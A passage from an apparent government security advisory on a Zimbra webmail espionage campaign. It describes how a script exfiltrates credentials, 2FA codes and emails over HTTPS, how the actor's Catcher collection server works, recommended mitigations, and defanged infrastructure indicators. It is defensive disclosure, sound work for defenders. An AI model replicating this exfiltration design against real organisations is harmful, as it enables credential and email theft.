<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
